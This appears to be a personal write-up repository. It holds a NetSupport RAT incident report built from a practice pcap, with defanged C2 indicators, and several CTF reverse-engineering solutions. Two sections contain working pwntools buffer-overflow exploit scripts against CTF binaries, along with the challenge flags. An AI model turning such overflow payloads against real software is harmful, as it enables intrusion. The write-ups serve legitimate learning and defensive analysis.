Welcome! This repository serves as a documentation hub for my journey into reverse engineering, binary exploitation, and malware analysis.
The top-level categories in the sidebar (such as Malware-Traffic-Analysis) act as markers to organize my writeups by platform/course.
Malware-Traffic-Analysis
This section hosts simulated incident reports for pcap challenges found at https://www.malware-traffic-analysis.net/.
Incident Triage Report: NetSupport Manager RAT (Easy As 123)
https://www.malware-traffic-analysis.net/2026/02/28/index.html
1. Executive Summary
On February 28, 2026, an analyst identified a critical security incident involving an internal Active Directory asset. Internal host DESKTOP-TEYQ2NR (10.2.28.88) was compromised by the NetSupport Remote Access Trojan (RAT). The initial compromise stemmed from a malicious web redirect during a standard web browsing session, resulting in a payload download from a malicious domain. The asset is currently active on the network and executing persistent Command and Control (C2) beaconing. Immediate containment is required.
Incident Metadata
| Field | Value |
|---|---|
| Incident Date/Time | 2026-02-28 @ 19:55 UTC |
| Severity | High / Critical |
| Infected Hostname | DESKTOP-TEYQ2NR |
| Infected Internal IP | 10.2.28.88 |
| Victim MAC Address | 00:19:d1:b2:4d:ad |
| Affected User Account | brolf |
| User Full Name | Becka Rolf |

Figure 1: Wireshark packet details showing SAMR (Security Account Manager Remote) UserInfo structure (Info21), explicitly mapping the account name 'brolf' to the full name 'Becka Rolf'.
Technical Analysis & Timeline
1. Initial Access & Delivery (19:55 UTC)
- The victim host (
10.2.28.88) established a high-volume HTTPS connection with a legitimate Akamai CDN node (23[.]64[.]147[.]24). - The network traffic shows a massive, reassembled TLSv1.3 data stream originating from this CDN node. This stream appears to represent the initial delivery of the malicious payload to the client endpoint.

Figure 2: Chronological packet stream showing a sudden background DNS query for vadusa[.]xyz during active, legitimate HTTPS traffic with an Akamai CDN node.
2. Execution & C2 Discovery
- Upon execution of the payload on the local endpoint, the NetSupport RAT was silently installed.
- Immediately upon initialization, the malware attempted to discover its Command and Control infrastructure. The host sent DNS query ID
0x72dato the Domain Controller (10.2.28.2) to resolve the hardcoded C2 domainvadusa[.]xyz. - The DC resolved the domain to the attacker-controlled IP
45[.]131[.]214[.]85.
3. Command and Control (C2) Beaconing
- The client immediately initiated a TCP handshake with
45[.]131[.]214[.]85over port 443. - Session Initialization: The first application-layer packet sent by the client was an unencrypted
HTTP POSTrequest containing a baseline check-in handshake ("CMD" = "POLL\nINFO=1\nACK=1\n"). - Protocol Upgrade: Once the initial session handshake was established with the NetSupport Gateway, the malware immediately shifted to encrypted requests.
- All subsequent traffic consists of repetitive
HTTP POSTrequests utilizing the encryption flag (CMD=ENCD) and an encryption status identifier (ES=1), obfuscating the raw binary data payloads passed via theDATA=variable.

Figure 3: Dissected HTTP POST form data demonstrating NetSupport RAT traffic signatures, transitioning from a cleartext POLL session initialization to an ENCD encrypted data state.
4. Indicators of Compromise (IoCs)
- Malicious C2 Domain:
vadusa[.]xyz - C2 IP Address:
45[.]131[.]214[.]85(NetSupport Gateway) - Suspect Delivery Infrastructure:
23[.]64[.]147[.]24(Akamai CDN node utilized for initial payload hosting) - Network Signature:
POSTrequests toapplication/x-www-form-urlencodedendpoints containing the string valuesCMD=ENCDandES=1.
Recommended Remediation Actions
-
Network Isolation: Isolate
10.2.28.88from the local network segment immediately to prevent lateral movement within theEASYAS123domain. -
Credential Revocation: Force a password reset for the compromised user account in Active Directory and terminate all active concurrent Kerberos tickets for that user.
-
Endpoint Cleaning: Wipe and re-image
DESKTOP-TEYQ2NR. If forensic collection is required, take a volatile memory dump and disk image prior to wiping. -
SIEM/Firewall Block: Add
vadusa[.]xyzand the associated C2 IP to the enterprise firewall/proxy blocklist. Check SIEM logs to ensure no other internal hosts have queried this domain.
Nightmare
This section features a collection of writeups for "Nightmare", a hands-on CTF centered course focused on reverse engineering and binary exploitation.
For more context on the course, visit the official project page: guyinatuxedo.github.io
This section introduces some beginner challenges with the goal of reverse engineering the flag.
pico ctf 2018 strings
I guess using strings is the "Hello World" of reverse engineering, as this challenge was a straightforward solve.
I checked the file permissions to see if the binary was executable and noticed the file size was larger than I anticipated.

I ran strings on the binary, and sure enough, a massive amount of filler text came up.


That's a lot of text. For context, wc -l prints the newline count, while -w prints the word count.
Next, I used grep to search for the flag. After looking up the picoCTF flag format, I found it typically starts with "picoCTF". For good measure, I used grep with the -i flag to ensure a case-insensitive search.

Success!
helithumper re
Let's run the binary and see what kind of input it expects.

It looks like it takes a string and checks for a match. Let's open it up in Binary Ninja for some static analysis.

In the main() function, we can see that validate() is called with the input string, and the program fails if validate() returns 0.
I switched the Binary Ninja output to "Pseudo C" and cleaned up the variable names. Let's break down the logic in the validate() function.

At the top we can see all the variables being set, including the flag, but let's ignore that for now and keep reading the code.

Here, we have while loop that uses i as the index counter.
The first if block checks whether the loop has reached the end of the string. If it has, it sets result = 1, meaning the input matches the flag.
(Remember, the if check in main() fails if validate() returns 0).
The second if block checks if the current character of the user input matches the character at the same index of the flag. If there is a mismatch, the function sets result = 0.
Finally, the i variable is incremented by 1 so the next character can be tested.

This is a stack canary. It helps prevent a buffer overflow by aborting execution if the variable is overwritten. With that, we have our flag and the end of the validate() function!
As a bonus, let's look the validate() function from an assembly perspective.

Here, we can see the string being constructed on the stack, with the characters represented in hexadecimal format. Let's use echo and xxd -r -p to convert this to ASCII in the terminal.
(Note: I added 0a at the end so the terminal outputs a newline).

Success!
CSAW 2019 beleaf
Let's start by seeing how the binary functions.

It looks like another challenge where need to provide the correct input. Let's move on to static analysis using Binary Ninja.

I cleaned up the variable names in main(). Unlike the last challenge, the flag isn't hardcoded here.

Right below the variable declarations, there is an if check that exits the program if the user input length is not greater than 32 (meaning it must be at least 33 characters).
(Remember, hex 0x20 converts to 32 in base 10.)

Next, we have a for loop that iterates through every character of user_input.
Inside the loop, each character is passed to the function sub_4007fa. The return value of this function is then checked for inequality against an element in a data array starting at data_6014e0.
The expression i << 3 is bit shifting the index value to the left 3 times.
For example, if we had the value of binary 1, and shifted left 3 times, we would have the following:
0 0 0 1 turns into 1 0 0 0 which is equal to 8 in base 10. This effectively calculates i * 8.
The & prefix on &data_6014e0 is the address-of operator. The left hand side of the + is being used as the byte offset added to this base address.
Finally, the * outside the parenthesis is dereferencing the address we calculated to get the value stored there.
Now that we know how the inequality check works, let's take a look at the logic inside of the sub_4007fa function.

The function takes the char passed to it and does a couple of checks on the data stored at data_601020.
(Note: The ff seen below is equal to -1)

Double clicking on data_601020 takes us to the .data section of the ELF, where we can see it is an array with different characters stored in it.
(Note: Binary Ninja incorrectly guesses that this is a wchar32 string.)
Let's do a quick recap: we know the input string must be at least 33 characters long. Each character of our input is passed into sub_4007fa, which returns its index. That returned index must match the corresponding value inside data_60114e0.

The target array (data_6014e0) is stored in little-endian format, meaning our target values sit at the beginning of each 8 byte block:
01 09 11 27 02 00 12 03 08 12 09 12 11 01 03 13 04 03 05 15 2e 0a 03 0a 12 03 01 2e 16 2e 0a 12 06
At 33 elements long, this looks like the flag, but not the ASCII characters.

I went into the menu and modified the type to display as int32_t after finding out Binary Ninja misrepresented the data type. With the proper array structure visible, I realized the numbers in data_6014e0 are the index positions we need to translate the flag!
For example: 0x01 = f
Mapping each index to its corresponding character reveals the following:
flag{we_beleaf_in_your_re_future}

SUCCESS!
Stack Buffer Overflows
This section serves as an introduction into the "pwn" category starting off with Csaw 2018 Quals Boi.
I'll be switching to Kali because this section is offense oriented. I will also be using pwntools, which helps speed up exploit development.
https://docs.pwntools.com/en/stable/
CSAW 2018 Quals: Boi

We start with an ELF binary that has a stack canary and a non-executable stack.
Let's see what the binary asks for when we run it.

Hm... it seems like the program prompts for a string and returns the current date and time upon failure. Let's move on to static analysis using Binary Ninja.

We can see that the value 0xdeadbeef is assigned to var_28 + 4, right before puts is called and user input is received via read.
The read function takes the following parameters: read(file_descriptor, buffer, count). Since the file descriptor is 0 (stdin), the program will read a maximum of 24 bytes into the buf variable.
(Note: 0x18 converts to 24 in base 10)
Directly below the read call, we see an if check: if the value at var_28 + 4 matches 0xcaf3baee, the program spawns a shell. The problem is, how do we modify that target variable when read is writing into buf?

Looking at the stack layout in assembly, we see that buf lives at rbp-0x30 and the hardcoded 0xdeadbeef sits at rbp-0x1c.
0x30 - 0x1c = 0x14
Subtracting the target variable's base address from the buf base address give us a distance of 0x14 bytes. In decimal, that means we have exactly 20 bytes of buffer space before we start overwriting our target.
Lucky us!
Since read allows us to input up to 24 bytes, we can fill the 20 bytes of padding to reach the target, and then use the remaining 4 bytes to completely overwrite it.
In hex, two characters represent one byte, making caf3baee exactly 4 bytes. So our payload needs 20 bytes of filler + 0xcaf3baee. Let's test this using a python one-liner before writing a script using the pwntools library.
(Note: The raw bytes must be sent in little-endian format: \xee\xba\xf3\xca.)

Success... sort of. The if check didn't trigger the /bin/date condition, but we didn't get an interactive shell either. This happens because python finishes executing, closes its output stream, and triggers an EOF (End of File) for the spawned shell. To keep it open, we can use the (python3 -c ...; cat) | ./boi trick to pipe our keyboard input into the binary after the exploit payload fires.

Success!
Now, let's clean this up using a pwntools script.
from pwn import *
context(arch="amd64", os="linux", log_level="debug")
p = process("./boi")
payload = cyclic(20) + p32(0xcaf3baee)
p.send(payload)
p.interactive()

Using pwntools streamlines the process. Setting the log_level to debug gives us a clear visual breakdown of the payload we sent in the terminal. We can also use cyclic(20) to automatically generate our filler bytes, and the p32() function automatically handles the little-endian conversion for us.
Tamu19 pwn1
As usual, let's see what kind of file we are working with and how it operates when run.

It appears to want three correct inputs in order to retrieve the flag.

Looking at the variable declarations, we can see user_input takes up to 43 characters.
(Converting 0x2b from hex to decimal gives us 43.)

Below the variables, we can see two of the three questions and their corresponding answers. The binary uses fgets here with a strict buffer size limit, meaning we cannot exploit these specific inputs.

However, the final question deviates from fgets and uses gets instead. This function does not enforce an input length limit, making it highly dangerous. The if statement checks the value of the target variable, so how do we change it from 0 to 0xdea110c8? We buffer overflow!

Fun fact: gets is so dangerous the man page warns you against ever using it!

Switching over to the disassembly view, we see that the target variable sits at ebp-0x10 and the user_input buffer sits at ebp-0x3b.
0x3b - 0x10 = 0x2b
That means we need to send exactly 43 bytes of padding to reach our target variable, and then append 0xdea110c8 to trigger the print_flag() branch. Because the program expects multiple inputs, I am going straight to a pwntools script to automate it.
from pwn import *
p = process("./pwn1")
# sendline appends the \n needed
p.recvuntil(b"What... is your name?")
p.sendline(b"Sir Lancelot of Camelot")
p.recvuntil(b"What... is your quest?")
p.sendline(b"To seek the Holy Grail.")
p.recvuntil(b"What... is my secret?")
# Craft payload
payload = cyclic(43) + p32(0xdea110c8)
p.sendline(payload)
print(p.recvall().decode("utf-8"))
Because the program automatically prints the flag when the correct value is overwritten, an interactive shell isn't required. Instead, we can just grab the remaining buffer stream using p.recvall(). The 43 bytes of filler are handled by cyclic(43), and p32(0xdea110c8) handles packing the target value into little-endian format.

Success!